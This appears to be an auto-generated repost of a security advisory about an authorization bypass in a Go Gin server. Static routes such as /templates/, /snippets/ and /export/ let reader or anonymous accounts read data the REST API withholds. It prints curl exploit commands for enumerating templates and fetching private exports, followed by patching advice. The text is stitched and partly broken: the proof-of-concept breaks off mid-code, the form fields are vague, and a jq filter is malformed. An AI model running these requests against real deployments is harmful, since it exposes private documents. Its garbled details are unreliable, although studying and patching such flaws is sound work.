Listen to this Post
Several static‑file routes in the server mux (kernel/server/serve.go) are registered with `CheckAuth` only and serve directories directly, without the publish‑access checks, sensitive‑path blocklist, or `refuseToAccess` rules that the REST API applies to the same data. They are therefore reachable by the publish `RoleReader` token and by the anonymous account when `Publish.Auth.Enable` is false. Most notably, `/templates/` serves `data/templates` – a directory the REST file API explicitly refuses to serve to non‑administrators via `refuseToAccess` (kernel/api/file.go:551‑553), which returns 403 for that path. The project has already decided readers must not read templates, yet the static route circumvents this control. Templates are user‑authored Markdown documents containing Sprig syntax and are not covered by publish‑access controls. gin‘s `.Static` disables directory listing, so a filename is required, but the contradiction with `refuseToAccess` is the defect. Similarly, `/snippets/` exposes JS/CSS content, only blocking conf.json, while /widgets/, /plugins/, and `/emojis/` expose entire directory trees. `/export/` includes traversal, sensitive‑path, and DEK guards but lacks the publish‑access check, so a reader can retrieve export artifacts of arbitrary documents – including private ones. Artifact naming is mixed; some use a random export ID, but code and CSV exports use the document name (export/code/<name>, export/csv/<name>/<name>.csv), which a reader can derive from `listDocsByPath` s while the artifact exists. This path is therefore conditional. Confirmed correctly gated for contrast: `/assets/` (publish‑gated), `/history/` and `/repo/diff/` (CheckAdminRole), `/debug/pprof/` (disabled in production), `/public/` (intentionally public). All four vulnerable routes carry `CheckAuth` only – no CheckReadonly, no CheckAdminRole. Proof of concept: with publish mode enabled (port 6808) and anonymous or reader account, `GET /templates/
DailyCVE Form:
Platform: Go Gin Server
Version: All prior
Vulnerability : Auth Bypass
Severity: High
date: 2026-09-04
Prediction: Patch expected 2026-09-14
What Undercode Say:
Check for template exposure
curl -v http://127.0.0.1:6808/templates/readme.md
Check snippet exposure
curl -v http://127.0.0.1:6808/snippets/app.js
Check export (CSV example)
curl -v http://127.0.0.1:6808/export/csv/private_doc/private_doc.csv
Verify REST API blocks templates
curl -X POST http://127.0.0.1:6808/api/file/getFile \
-H "Content-Type: application/json" \
-d '{"path":"data/templates/readme.md"}'
Compare with properly gated /assets
curl -v http://127.0.0.1:6808/assets/some-asset.png
Exploit: (Educational Purposes!)
Enumerate template filenames (requires knowing names)
for f in readme index config; do
curl -s -o /dev/null -w "%{http_code} %{url}\n" \
"http://127.0.0.1:6808/templates/${f}.md"
done
Retrieve snippet source by name
curl -s http://127.0.0.1:6808/snippets/analytics.js
If export artifact exists, fetch it directly
curl -s http://127.0.0.1:6808/export/csv/quarterly_report/quarterly_report.csv
Use listDocsByPath to derive export filenames (if accessible)
curl -s "http://127.0.0.1:6808/api/docs/list?path=/" | jq '.docs[].'
Protection: from this CVE
- Apply the same treatment as
/assets/: for non‑admin roles, enforce publish‑access scoping plus `IsSensitivePath` and the `refuseToAccess` blocklist on all static routes. - Alternatively, block
/templates/, non‑public/snippets/, and `/export/` entirely for `RoleReader` and anonymous accounts. - Add explicit `CheckAbsPathAccessableByPublishAccess` middleware before serving static directories.
- Use random, non‑guessable export IDs for all export artifacts (not just some) to prevent filename derivation.
Impact:
An anonymous reader (when auth disabled) or any publish `RoleReader` can read user‑authored template documents that the REST API explicitly withholds from non‑administrators, snippet source (JS/CSS), and the contents of widgets, plugins, and emoji directories. Where an export artifact exists under a derivable name, they can additionally retrieve exported content of documents outside their publish scope. Confidentiality‑only, but covers sensitive internal templates and private document exports.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
